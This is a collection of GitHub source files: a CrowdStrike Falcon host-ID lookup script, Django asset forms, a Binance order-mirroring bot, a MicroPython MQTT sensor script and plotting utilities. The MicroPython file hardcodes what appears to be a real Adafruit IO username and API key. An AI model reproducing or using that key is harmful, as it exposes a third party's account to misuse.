+{"seq_id":"31936861494","text":"import json\nimport requests\nimport ast\nimport datetime\n\n# from oauthlib.oauth2 import BackendApplicationClient\n# from requests_oauthlib import OAuth2Session\nfrom cred import accessTokenURL, clientID, clientSecret, aidURL, hostURL, hostQueryURL\n\nhost_list = open(\"hosts_list.txt\",\"r+\")\nhost_output = open(\"host_output.txt\", \"w+\")\n\n## this function prepares the OATH2 session token request that will be used in the next request\ndef obtain_token(client_id, client_secret, url):\n payload = 'grant_type=client_credentials&client_id={0}&client_secret={1}'.format(client_id, client_secret)\n headers = {\n \t'Content-Type': 'application/x-www-form-urlencoded'\n\t}\n response = requests.request(\"POST\", url, headers=headers, data = payload)\n expiry_time = datetime.datetime.now().timestamp() + 20\n return [ast.literal_eval(response.text)[\"access_token\"],expiry_time]\n\naccess_response = obtain_token(clientID, clientSecret, accessTokenURL)\naccess_token = access_response[0]\nexpiry_time = access_response[1]\n\n# it formats the header for the request using the previously obtained access token\nheader = {\n 'content-type': \"application/json\",\n 'Authorization' : 'Bearer {}'.format(access_token)\n }\n\n## Iterates through the hostname list for outputting the AgentIDs (AIDs) - in \"host_output.txt\", that can be used in another script\nfor i in host_list:\n if expiry_time < datetime.datetime.now().timestamp():\n access_response = obtain_token(clientID, clientSecret, accessTokenURL)\n access_token = access_response[0]\n expiry_time = access_response[1]\n header = {\n 'content-type': \"application/json\",\n 'Authorization' : 'Bearer {}'.format(access_token)\n }\n i = i.replace('\\n', '')\n getHostDetails = requests.get(\"{0}?filter=hostname:~'{1}'\".format(hostQueryURL,i), headers=header)\n data = getHostDetails.json()\n #it gets the AID value stored inside \"resources\"\n output = json.dumps(data['resources'])\n #print(json.dumps(data['resources']))\n formatted_output = \"{0} \\n\".format(output)\n print('checked {0}, aid={1}'.format(i,output))\n host_output.write(formatted_output)\n\nhost_output.close()\n","repo_name":"GiulioPavan/crowdstrike-falcon","sub_path":"get_AID_from_hosts_list.py","file_name":"get_AID_from_hosts_list.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"74313485847","text":"from django import forms\nfrom pagedown.widgets import PagedownWidget\n\nfrom .models import MarineVessel, Automobile, TypeOfAsset, Equipment, \\\n Parts, CarManufacturer, MarineVesselManufacturer, EquipmentManufacturer, \\\n CarModelType, MarineModelType, EquipmentModelType, ThroughHull, Asset, HeavyEquipmentManufacturer, \\\n HeavyEquipmentModelType\n\n\nclass MarineAssetForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = MarineVessel\n fields = [\n 'user',\n 'title',\n 'slug',\n 'user',\n\n 'port_of_registry',\n 'reg_exp_date',\n 'vehicle_classification',\n\n 'brand',\n 'model',\n 'year',\n 'gross_weight',\n 'hull_number',\n 'hull_type',\n 'hull_material',\n\n 'number_of_through_holes',\n\n # visual of Asset\n 'image',\n 'height_field',\n 'width_field',\n 'content',\n 'used_for',\n\n # Registered to\n 'registered_owner',\n 'owners_address',\n\n # insurance policy\n 'is_it_insured',\n 'insurance_provider',\n 'insurance_type',\n 'insurance_cost',\n 'insurance_policy_number',\n 'seatow',\n 'assistance_miles',\n\n # Original MSRP\n 'original_msrp',\n 'price_paid',\n\n # Vessel Dimension\n 'reported_loa',\n 'reported_lwl',\n 'reported_beam',\n 'reported_draft',\n 'max_height'\n ]\n\n\nclass AutomobileAssetForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = Automobile\n fields = [\n 'user',\n 'title',\n 'slug',\n 'engineering_equipment',\n 'user',\n\n 'brand',\n 'model',\n 'year',\n 'gross_weight',\n # 'odometer',\n\n # visual of Asset\n 'image',\n 'height_field',\n 'width_field',\n 'content',\n\n # description of asset\n 'used_for',\n 'color',\n 'fuel',\n 'license_plate',\n 'vin',\n 'fees_paid',\n 'wt_wheels',\n 'body_type',\n 'cylinders',\n\n # Registered to\n 'registered_owner',\n 'owners_address',\n\n # insurance policy\n 'is_it_insured',\n 'insurance_provider',\n 'insurance_type',\n 'insurance_cost',\n 'insurance_policy_number',\n 'emergency_roadside_assistance',\n 'assistance_miles',\n\n # vehicle Exterior Dimensions\n 'wheelbase',\n 'overall_length',\n 'overall_height',\n 'min_ground_clearance',\n 'base_curb_weight'\n ]\n\n\nclass EquipmentAssetForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = Equipment\n fields = [\n 'title',\n 'slug',\n 'user',\n\n 'brand',\n 'model',\n 'year',\n 'gross_weight',\n\n # visual of Asset\n 'image',\n 'height_field',\n 'width_field',\n 'content',\n\n # description of asset\n 'used_for',\n 'color',\n 'fuel'\n ]\n\n\nclass TypeOfAssetForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = TypeOfAsset\n fields = [\n 'title',\n 'slug',\n\n # asset type\n\n 'marine_vessel',\n 'land_vehicle',\n 'tool',\n\n 'draft',\n 'location_of_asset',\n 'image',\n 'height_field',\n 'width_field',\n 'content',\n 'user'\n\n ]\n\n\nclass PartsForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = Parts\n fields = [\n 'title',\n 'part_number',\n\n 'image',\n 'height_field',\n 'width_field',\n 'content',\n 'used_for',\n 'price'\n ]\n\n\nclass AssetForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = Asset\n fields = [\n 'serial_number',\n 'user',\n 'odometer',\n 'in_miles',\n 'in_kilometers',\n 'in_hours'\n ]\n\n\nclass CarManufacturerForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = CarManufacturer\n fields = [\n 'title'\n ]\n\n\nclass HeavyEquipmentManufacturerForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = HeavyEquipmentManufacturer\n fields = [\n 'title'\n ]\n\n\nclass HeavyEquipmentModelTypeForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = HeavyEquipmentModelType\n fields = [\n 'title'\n ]\n\n\nclass MarineVesselManufacturerForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = MarineVesselManufacturer\n fields = [\n 'title'\n ]\n\n\nclass EquipmentManufacturerForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = EquipmentManufacturer\n fields = [\n 'title'\n ]\n\n\nclass CarModelTypeForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = CarModelType\n fields = [\n 'title'\n ]\n\n\nclass MarineModelTypeForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = MarineModelType\n fields = [\n 'title'\n ]\n\n\nclass EquipmentModelTypeForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = EquipmentModelType\n fields = [\n 'title'\n ]\n\n\nclass ThroughHullForm(forms.ModelForm):\n content = forms.CharField(widget=PagedownWidget(show_preview=True))\n\n class Meta:\n model = ThroughHull\n fields = [\n 'title',\n 'part'\n ]\n","repo_name":"pedrofolch/digitalsoil","sub_path":"assets/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21927831487","text":"from threading import Thread\r\nfrom binance.client import Client\r\nimport json\r\nimport sys\r\nfrom binance import ThreadedWebsocketManager\r\nimport logging\r\nfrom websocket_server import WebsocketServer\r\n\r\n\r\ndef open_config():\r\n with open(\"config.json\", \"r\") as read_file:\r\n data = json.load(read_file)\r\n assert isinstance(data, object), 'В файле config.json ошибка. Проверьте правильность синтоксиса.'\r\n return data\r\n\r\n\r\nclass CurrencyPair:\r\n \"\"\"\r\n Класс вылютной пары.\r\n Список pair содержит экземпляры ранее созданных валютных пар (key: название пары; data: объект CurrencyPait для этой пары)\r\n При создании новой пары, она попадает в список pairs.\r\n \"\"\"\r\n pairs = {} # валютные пары, которые уже созданы\r\n\r\n def __init__(self, pair_name, info):\r\n \"\"\"\r\n :param pair_name: название валютной пары (например BNBRUB)\r\n :param info: JSON ответ на запрос get_symbol_info, содержащий всю информация по паре\r\n _name: название пары\r\n _orders: список открытых ордеров по данной паре (key: id ордера на местер аккаунте; data: id ордеров-клонов)\r\n \"\"\"\r\n self._name = pair_name\r\n self._orders = {}\r\n self.pairs[pair_name] = self\r\n self.symbol_ifo = info\r\n\r\n def AddOrder(self, master_id, sattelites_id):\r\n self._orders[master_id] = sattelites_id\r\n print(self._orders)\r\n\r\n def OrderExists(self, order):\r\n return order in self._orders\r\n\r\n def DeleteOrder(self, order):\r\n del self._orders[order]\r\n\r\n def GetName(self):\r\n return self._name\r\n\r\n def GetInfo(self):\r\n return self.symbol_ifo\r\n\r\n def GetOrdersList(self, id):\r\n return self._orders.get(id)\r\n\r\n\r\ntemp = 0\r\n\r\n\r\ndef NewClient(client, server):\r\n global temp\r\n print(\"Новое подключение\")\r\n server.send_message_to_all(json.dumps({\r\n \"satellites\": temp\r\n }))\r\n\r\n\r\ndef NewOrderToFront(order_id, currency, type, mast, sat):\r\n server.send_message_to_all(json.dumps({\r\n \"id\": order_id,\r\n \"currency\": currency,\r\n \"type\": type,\r\n \"master\": mast,\r\n \"satellites\": sat\r\n }))\r\n\r\n\r\ndef CancelOrderToFront(order_id, currency):\r\n server.send_message_to_all(json.dumps({\r\n \"id\": order_id,\r\n \"currency\": currency,\r\n \"type\": \"CANCEL\",\r\n }))\r\n\r\n\r\nserver = WebsocketServer(host='192.168.1.126', port=5678, loglevel=logging.INFO)\r\nserver.set_fn_new_client(NewClient)\r\n\r\n\r\ndef StartServer():\r\n server.run_forever()\r\n\r\n\r\nserver_thread = Thread(target=StartServer)\r\nserver_thread.start()\r\n\r\n\r\ndef main():\r\n global temp\r\n config = open_config()\r\n master_key = config[\"Master\"][\"api_key\"]\r\n master_secret = config[\"Master\"][\"api_secret\"]\r\n satellites = config[\"Satellites\"]\r\n number_of_satellites = len(satellites)\r\n temp = number_of_satellites\r\n satellite_clients = [] # Список клиентов сателитов\r\n pairs = [] # список CurrencyPair (список валютных пар с открытыми для них ордерами)\r\n\r\n for num in range(number_of_satellites):\r\n satellite_clients.append(\r\n Client(api_key=satellites[num]['api_key'],\r\n api_secret=satellites[num]['api_secret']))\r\n\r\n master_client = Client(api_key=master_key,\r\n api_secret=master_secret)\r\n\r\n # orders = satellite_clients[0].get_open_orders(symbol='ARPARUB')\r\n # print(\"Ордеров:\", len(orders))\r\n # print(satellite_clients[0].get_asset_balance('RUB'))\r\n # print(satellite_clients[0].get_asset_balance('ARPA'))\r\n # if len(orders) > 0:\r\n # for order in orders:\r\n # satellite_clients[0].cancel_order(symbol=order['symbol'], orderId=order['orderId'])\r\n # print(\"Удалён ордер:\", order['orderId'])\r\n # print(satellite_clients[0].get_asset_balance('RUB'))\r\n\r\n def satellites_cancel_orders(symbol, id):\r\n current_pair = CurrencyPair.pairs.get(symbol)\r\n orders_list = current_pair.GetOrdersList(id)\r\n for num in range(number_of_satellites):\r\n if orders_list[num] is not None:\r\n try:\r\n satellite_clients[num].cancel_order(symbol=symbol, orderId=orders_list[num])\r\n print(\" Доп. аккаунт №\", num + 1, \"удалён ордер:\", symbol, orders_list[num])\r\n except Exception as e:\r\n print(\" Ошибка - {}\".format(e))\r\n\r\n def satellites_create_order(msg, percent, val, pair_info):\r\n new_sattelites_orders = [] # список под новые ордера сателитов\r\n quantity_in_orders = [] # Список с количеством валюты в ордерах сателитов\r\n for sat in satellite_clients:\r\n balance = float(satellite_clients[0].get_asset_balance(val)['free'])\r\n if msg['S'] == 'BUY':\r\n quantity = balance * (percent / 100) / float(msg['p'])\r\n elif msg['S'] == 'SELL':\r\n quantity = balance * (percent / 100)\r\n else:\r\n print(\" Неизвестный тип операции\")\r\n return\r\n # округляем количество валюты по stepSize\r\n stepSize = float(pair_info['filters'][2]['stepSize'])\r\n if stepSize >= 1.0:\r\n quantity_rounded = round(quantity, 0)\r\n else:\r\n count = 0\r\n while stepSize < 1:\r\n stepSize = stepSize * 10\r\n count = count + 1\r\n quantity_rounded = round(quantity, count)\r\n # print(\"Баланс:\", balance, val, \"процент:\", percent, \"квота:\", quantity_rounded)\r\n try:\r\n order = sat.create_order(\r\n symbol=msg['s'],\r\n side=msg['S'],\r\n type=msg['o'],\r\n timeInForce=msg['f'],\r\n quantity=quantity_rounded,\r\n price=msg['p'])\r\n print(' Создан ордер:', order['symbol'], order['orderId'])\r\n new_sattelites_orders.append(order['orderId'])\r\n quantity_in_orders.append(quantity_rounded)\r\n except Exception as e:\r\n print(\" Ошибка - {}\".format(e))\r\n new_sattelites_orders.append(None)\r\n quantity_in_orders.append(None)\r\n return {\"id\": new_sattelites_orders, \"quantity\": quantity_in_orders}\r\n\r\n def process_user_data(msg):\r\n if msg['e'] == 'executionReport':\r\n # Если пришла информация о ходе торгов существующего ордера, то скипаем её\r\n if msg['x'] == 'TRADE':\r\n return\r\n # Если валютная пара ранее не встречалась, то добавляем её\r\n symbol = msg['s']\r\n if not msg['s'] in CurrencyPair.pairs:\r\n print(\"Добавляем новую валютную пару:\", symbol)\r\n info = master_client.get_symbol_info(symbol)\r\n pairs.append(CurrencyPair(symbol, info))\r\n current_pair = CurrencyPair.pairs.get(symbol)\r\n if msg['x'] == 'NEW':\r\n print(\"Пришел новый ордер:\", msg['s'], msg['S'], msg['i'])\r\n # взависимости от типа операции (BUY/SELL) смотрим разные счета (по base валюте или quote)\r\n if msg['S'] == 'BUY':\r\n vault = current_pair.GetInfo()['quoteAsset']\r\n # print(\" Валюта, которая тратится:\", vault)\r\n free_balance = float(master_client.get_asset_balance(vault)['free'])\r\n spend = float(msg['p']) * float(msg['q'])\r\n percent = spend / ((free_balance + spend) / 100)\r\n elif msg['S'] == 'SELL':\r\n vault = current_pair.GetInfo()['baseAsset']\r\n free_balance = float(master_client.get_asset_balance(vault)['free'])\r\n spend = float(msg['q'])\r\n percent = spend / ((free_balance + spend) / 100)\r\n pair_info = current_pair.GetInfo()\r\n new_satellites_orders = satellites_create_order(msg, percent, vault, pair_info)\r\n current_pair.AddOrder(msg['i'], new_satellites_orders.get(\"id\"))\r\n NewOrderToFront(msg['i'], symbol, \"BUY\", msg['q'], new_satellites_orders.get(\"quantity\"))\r\n # Если пришла отмена ордера\r\n elif msg['x'] == 'CANCELED':\r\n print(\"Пришла отмена ордера:\", msg['s'], msg['i'])\r\n # Если ордер был в нашей базе (навсякий случий это проверим. Может быть это старый ордер,\r\n # клона которого нет у сателитов)\r\n if current_pair.OrderExists(msg['i']):\r\n CancelOrderToFront(msg['i'], msg['s'])\r\n satellites_cancel_orders(msg['s'], msg['i'])\r\n\r\n twm = ThreadedWebsocketManager(api_key=master_key, api_secret=master_secret)\r\n twm.start()\r\n user_socket = twm.start_user_socket(callback=process_user_data)\r\n print(\"__________Start user's socket__________\")\r\n\r\n twm.join()\r\n print(\"Terminate program\", flush=True)\r\n twm.stop()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Zlodor/roboBinance","sub_path":"Repeater .py","file_name":"Repeater .py","file_ext":"py","file_size_in_byte":10057,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12920148687","text":"from machine import Neopixel, I2C, Pin, Timer\nfrom board import SDA, SCL\nfrom umqtt.simple import MQTTClient\nfrom time import sleep\nimport machine\nimport time\nimport adafruit_bme680\n\n\nSTATUS = \"TEMP\"\nHEX_COLOR = \"#000000\"\n\n# create NeoPixel driver on GPIO0 for 60 pixels\nnp_count = 60\nnp = machine.Neopixel(machine.Pin(27), np_count, 0)\n\n\nmyMqttClient = b\"Hello\"\nBROKER = b\"io.adafruit.com\"\nadafruitUsername = b\"alexiswei\"\nadafruitAioKey = b\"82c482a0b0d14defaeccfaecae62ae36\"\nmqtt = MQTTClient(myMqttClient, BROKER, 0, adafruitUsername, adafruitAioKey)\n\n\ndef sub_cb(topic, msg):\n global STATUS, HEX_COLOR\n print((topic, msg))\n if topic == b'alexiswei/feeds/mode':\n if msg == b'TEMP':\n print('changed to temp')\n #read from the temperature sensor\n STATUS = 'TEMP'\n elif msg == b'COLOR':\n print('changed to color')\n STATUS = 'COLOR'\n elif topic == b'alexiswei/feeds/hello':\n if STATUS == 'COLOR':\n #print(msg)\n HEX_COLOR = msg.decode(\"utf-8\")\n\n\n\n#mqtt = MQTTClient(BROKER)\n\n# This will set the function sub_cb to be called when c.check_msg() checks\n# that there is a message pending\nmqtt.set_callback(sub_cb)\nmqtt.connect()\nprint(\"Connected!\")\n\n#list of items that we are subscribed to\n#i.e. the list of things that the user can interact with to change the behaviour\n# mqtt.subscribe(\"alexiswei/feeds/​mode\")\n# mqtt.subscribe(\"alexiswei/feeds/​hello\")\nmqtt.subscribe(b\"alexiswei/feeds/mode\")\nmqtt.subscribe(b\"alexiswei/feeds/hello\")\nprint(\"Subscribed!\")\n\n# every second, we want a new value of temp, pressure, etc...\n\n\n# message = str(100)\n# # publish (topic, message)\n# mqtt.publish(\"alexiswei/feeds/test\", message)\n# print(\"Published {} to test.\".format(message))\n#\n#\n\n\n# Create library object using our Bus I2C port\ni2c = I2C(id=0, scl=Pin(SCL), sda=Pin(SDA), freq=100000)\nbme680 = adafruit_bme680.Adafruit_BME680_I2C(i2c, debug=False)\n# change this to match the location's pressure (hPa) at sea level\n#\nbme680.sea_level_pressure = 1013.25\n\ndef status():\n global STATUS\n print(STATUS)\n if STATUS == 'TEMP':\n tempChange()\n elif STATUS == 'COLOR':\n colorChange()\n\ndef check(timer):\n print(\"check\")\n mqtt.check_msg()\n status()\n\n\ndef get_temp():\n temp = bme680.temperature\n print(temp)\n np.setHSB(1, 360*(temp - 20.0)/10, 1.0, 0.3, np_count, True)\n return temp\n\n\ndef tempChange():\n mqtt.publish(\"alexiswei/feeds/temperature\", str(get_temp()))\n\ndef colorChange():\n global HEX_COLOR\n # h = HEX_COLOR\n # colorRGB = tuple(int(h[i:i+2], 16) for i in (0, 2, 4))\n # R = colorRGB(0)\n # G = colorRGB(1)\n # B = colorRGB(2)\n hex = HEX_COLOR.lstrip('#')\n rgb = tuple(int(hex[i:i+2], 16) for i in (0, 2, 4))\n print(rgb)\n\n r = rgb[0]\n g = rgb[1]\n b = rgb[2]\n\n # r = format(int(bin(int(rgb[0]))[2:]), '08d')\n # g = format(int(bin(int(rgb[1]))[2:]), '08d')\n # b = format(int(bin(int(rgb[2]))[2:]), '08d')\n print((r << 16) + (g << 8) + b)\n #print(int(str(r) + str(g) + str(b)))\n\n # R = bin(int(rgb[0]))[2:].zfill(8)\n # G = bin(int(rgb[1]))[2:].zfill(8)\n # B = bin(int(rgb[2]))[2:].zfill(8)\n # bits = str(R) + str(G) + str(B)\n # print(HEX_COLOR)\n (h, s ,b) = np.RGBtoHSB((r << 16) + (g << 8) + b)\n print([h, s , b ])\n np.setHSB(1, h, s , b, np_count, True)\n #np.set(1, int(bits), 0, np_count, True)\n\n\nsensor_timer = machine.Timer(1)\nsensor_timer.init(period=3000, mode=sensor_timer.PERIODIC, callback=check)\n\n\n\n\n#print(get_temp())\n","repo_name":"alexis-wei/light-control","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18419237672","text":"# %%\n#########################################################################################\n# IMPORT\n#########################################################################################\n\nfrom IPython import get_ipython\n\n# get_ipython().run_line_magic('reload_ext', 'autoreload')\n# get_ipython().run_line_magic('autoreload', '2')\n\n# # python.dataScience.interactiveWindowMode\n\n# # %%\n# seed = 100\n\n# import os\n# import pathlib\n# import random\n# random.seed(seed)\n# import shutil\n# # from os import path, listdir\n\nimport numpy as np\n# np.random.seed(seed)\nimport pandas as pd\n# # pd.random_state = seed\n\nimport matplotlib\n# matplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\n\n# plt.ioff()\n# get_ipython().run_line_magic('matplotlib', 'agg')\n# get_ipython().run_line_magic('matplotlib', 'inline')\n\nplt.style.use('seaborn-dark')\n# get_ipython().run_line_magic('config', \"InlineBackend.figure_format = 'retina'\")\n\nimport seaborn as sns\n\n\n# # %%\nfrom PIL import Image\n# from sklearn.metrics import confusion_matrix\n# from sklearn.model_selection import StratifiedShuffleSplit\nfrom sklearn.metrics import roc_curve, auc, confusion_matrix, average_precision_score, precision_recall_curve, f1_score\n\n\n\n\n# # %%\n# import torch\n\n# # from torch.utils import data as D\n# from torch.utils.data import Dataset, DataLoader\n# from torch.utils.data import SubsetRandomSampler\nfrom torch.utils.tensorboard import SummaryWriter\n\n\n# import torchvision\n# # import torchvision.transforms as transforms\n# from torchvision import datasets, transforms, models\n# import torchvision.transforms.functional as Ft\n# import torch.nn.functional as Fn\n\n\n# from torch.optim import lr_scheduler\n\n# # from torchsummary import summary\n\n\n\n\n\n\n\n\n\n# %%\n# region CLASSIFICATION VISUALIZATION ###########################################\n##################################################################\n\n\n# %%\ndef plot_loss_accuracy(train_loss, val_loss, train_acc, val_acc, colors, \n loss_legend_loc='upper center', acc_legend_loc='upper left', \n fig_size=(20, 10), sub_plot1=(1, 2, 1), sub_plot2=(1, 2, 2)):\n \n plt.rcParams[\"figure.figsize\"] = fig_size\n fig = plt.figure()\n \n plt.subplot(sub_plot1[0], sub_plot1[1], sub_plot1[2])\n \n for i in range(len(train_loss)):\n x_train = range(len(train_loss[i]))\n x_val = range(len(val_loss[i]))\n \n min_train_loss = train_loss[i].min()\n \n min_val_loss = val_loss[i].min()\n \n plt.plot(x_train, train_loss[i], linestyle='-', color='tab:{}'.format(colors[i]), \n label=\"TRAIN LOSS ({0:.4})\".format(min_train_loss))\n plt.plot(x_val, val_loss[i], linestyle='--' , color='tab:{}'.format(colors[i]), \n label=\"VALID LOSS ({0:.4})\".format(min_val_loss))\n \n plt.xlabel('epoch no.')\n plt.ylabel('loss')\n plt.legend(loc=loss_legend_loc)\n plt.title('Training and Validation Loss')\n \n plt.subplot(sub_plot2[0], sub_plot2[1], sub_plot2[2])\n \n for i in range(len(train_acc)):\n x_train = range(len(train_acc[i]))\n x_val = range(len(val_acc[i]))\n \n max_train_acc = train_acc[i].max() \n \n max_val_acc = val_acc[i].max() \n \n plt.plot(x_train, train_acc[i], linestyle='-', color='tab:{}'.format(colors[i]), \n label=\"TRAIN ACC ({0:.4})\".format(max_train_acc))\n plt.plot(x_val, val_acc[i], linestyle='--' , color='tab:{}'.format(colors[i]), \n label=\"VALID ACC ({0:.4})\".format(max_val_acc))\n \n plt.xlabel('epoch no.')\n plt.ylabel('accuracy')\n plt.legend(loc=acc_legend_loc)\n plt.title('Training and Validation Accuracy')\n \n fig.savefig('sample_loss_acc_plot.png')\n plt.show()\n \n return\n\n\n# %%\ndef cm_analysis(y_true, y_pred, ymap=None, figsize=(10,10), to_show=False, filename='cfmat.jpg'):\n # OUTPUT: PILLOW NUMPY IMAGE\n \"\"\"\n Generate matrix plot of confusion matrix with pretty annotations.\n The plot image is saved to disk.\n args: \n y_true: true label of the data, with shape (nsamples,)\n y_pred: prediction of the data, with shape (nsamples,)\n filename: filename of figure file to save\n labels: string array, name the order of class labels in the confusion matrix.\n use `clf.classes_` if using scikit-learn models.\n with shape (nclass,).\n ymap: dict: any -> string, length == nclass.\n if not None, map the labels & ys to more understandable strings.\n Caution: original y_true, y_pred and labels must align.\n figsize: the size of the figure plotted.\n \"\"\"\n if ymap is not None:\n y_pred = [ymap[yi] for yi in y_pred]\n y_true = [ymap[yi] for yi in y_true]\n # labels = [ymap[yi] for yi in labels]\n labels = ymap.values()\n else:\n labels = np.unique(y_true)\n\n n = len(labels)\n figsize = (1.5*n, 1.5*n)\n\n cm = confusion_matrix(y_true, y_pred, labels=labels)\n cm_sum = np.sum(cm, axis=1, keepdims=True)\n cm_perc = cm / cm_sum.astype(float) * 100\n annot = np.empty_like(cm).astype(str)\n nrows, ncols = cm.shape\n for i in range(nrows):\n for j in range(ncols):\n c = cm[i, j]\n p = cm_perc[i, j]\n if i == j:\n s = cm_sum[i]\n annot[i, j] = '%.1f%%\\n%d/%d' % (p, c, s)\n elif c == 0:\n annot[i, j] = ''\n else:\n annot[i, j] = '%.1f%%\\n%d' % (p, c)\n cm = pd.DataFrame(cm, index=labels, columns=labels)\n cm.index.name = 'Actual'\n cm.columns.name = 'Predicted'\n fig, ax = plt.subplots(figsize=figsize)\n sns.heatmap(cm, annot=annot, fmt='', ax=ax)\n\n if to_show:\n # plt.savefig(filename)\n plt.show()\n else:\n fig.canvas.draw()\n\n # Now we can save it to a numpy array.\n cm_image = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')\n print(cm_image.shape)\n cm_image = cm_image.reshape(fig.canvas.get_width_height()[::-1] + (3,))\n print(cm_image.shape)\n\n return cm_image\n\n\n# %%\ndef log_confusion_matrix(epoch, logs):\n test_pred_raw = model.predict(test_images)\n test_pred = np.argmax(test_pred_raw, axis=1)\n\n cm = confusion_matrix(test_labels, test_pred)\n figure = plot_confusion_matrix(cm, class_names=class_names)\n cm_image = plot_to_image(figure)\n\n # cm_image = cm_analysis(y_label.cpu().numpy(), y_pred.cpu().numpy(), file_name, labels, ymap=ymap, figsize=(5,5))\n\n with file_writer.as_default():\n writer.add_image(\"Confusion Matrix\", cm_image, step=epoch)\n # writer.add_image('four_fashion_mnist_images', img_grid)\n\n # Define the per-epoch callback.\n # cm_callback = tf.keras.callbacks.LambdaCallback(on_epoch_end=log_confusion_matrix)\n\n\n# %%\ndef cm_analysis_2(cm, labels, figsize=(10,10), to_show=False, filename='cfmat.jpg'):\n # OUTPUT: PILLOW IMAGE\n \"\"\"\n Generate matrix plot of confusion matrix with pretty annotations.\n The plot image is saved to disk.\n args: \n y_true: true label of the data, with shape (nsamples,)\n y_pred: prediction of the data, with shape (nsamples,)\n filename: filename of figure file to save\n labels: string array, name the order of class labels in the confusion matrix.\n use `clf.classes_` if using scikit-learn models.\n with shape (nclass,).\n ymap: dict: any -> string, length == nclass.\n if not None, map the labels & ys to more understandable strings.\n Caution: original y_true, y_pred and labels must align.\n figsize: the size of the figure plotted.\n \"\"\"\n # if ymap is not None:\n # y_pred = [ymap[yi] for yi in y_pred]\n # y_true = [ymap[yi] for yi in y_true]\n # labels = [ymap[yi] for yi in labels]\n\n # cm = confusion_matrix(y_true, y_pred, labels=labels)\n\n n = len(labels)\n figsize = (1.5*n, 1.5*n)\n\n # get_ipython().run_line_magic('matplotlib', 'inline')\n # get_ipython().run_line_magic('matplotlib', 'agg')\n # plt.ioff()\n\n # plt.rcParams.update({'font.size': round(1*n)})\n plt.rcParams.update({'font.size': 13})\n plt.rc('axes', titlesize=14) # fontsize of the axes title\n plt.rc('axes', labelsize=12) # fontsize of the x and y labels\n plt.rc('xtick', labelsize=12) # fontsize of the tick labels\n plt.rc('ytick', labelsize=12) # fontsize of the tick labels\n\n cm_sum = np.sum(cm, axis=1, keepdims=True)\n cm_perc = cm / cm_sum.astype(float) * 100\n annot = np.empty_like(cm).astype(str)\n nrows, ncols = cm.shape\n for i in range(nrows):\n for j in range(ncols):\n c = cm[i, j]\n p = cm_perc[i, j]\n if i == j:\n s = cm_sum[i]\n annot[i, j] = '%.1f%%\\n%d/%d' % (p, c, s)\n elif c == 0:\n annot[i, j] = ''\n else:\n annot[i, j] = '%.1f%%\\n%d' % (p, c)\n cm = pd.DataFrame(cm, index=labels, columns=labels)\n cm.index.name = 'Actual'\n cm.columns.name = 'Predicted'\n fig, ax = plt.subplots(figsize=figsize)\n # fig, ax = plt.figure(figsize=figsize)\n \n sns.heatmap(cm, annot=annot, fmt='', ax=ax)\n\n fig.canvas.draw()\n # plt.savefig(filename)\n\n if to_show:\n plt.show()\n # else:\n # fig.canvas.draw()\n\n \n\n # Now we can save it to a numpy array.\n cm_image = np.array(fig.canvas.renderer.buffer_rgba())\n # print(cm_image.shape)\n # cm_image = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')\n # print(cm_image.shape)\n # cm_image = cm_image.reshape(fig.canvas.get_width_height()[::-1] + (3,))\n # print(cm_image.shape)\n\n im = Image.fromarray(cm_image)\n im = im.convert(\"RGB\")\n # im.save(filename) \n im = np.array(im)\n # print(im.shape)\n\n # fig2 = plt.figure()\n # ax2 = fig2.add_subplot(111, frameon=False)\n # ax2.imshow(cm_image)\n # plt.show()\n\n # im = cm_image.transpose(2,0,1).float()/255.0\n # im = cm_image.permute(2,0,1).float()/255.0\n\n\n return im\n\n\n# %%\ndef log_confusion_matrix_2(writer, epoch):\n\n cm_image = cm_analysis_2(cm, labels, figsize=(10,10), to_show=False, filename='cfmat.jpg')\n\n writer.add_image(\"Confusion Matrix\", cm_image, step=epoch)\n\n\n\n# endregion CLASSIFICATION VISUALIZATION","repo_name":"MizzouCERI-research/mito_seg_pipeline","sub_path":"src/visualization/viz_classification.py","file_name":"viz_classification.py","file_ext":"py","file_size_in_byte":10395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"69887258010","text":"from src.core.core import *\nfrom src.config.config import *\nfrom src.user.user import User\nimport os\nimport sys\n\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nsys.path.append(rootPath)\n\nusers = []\n# 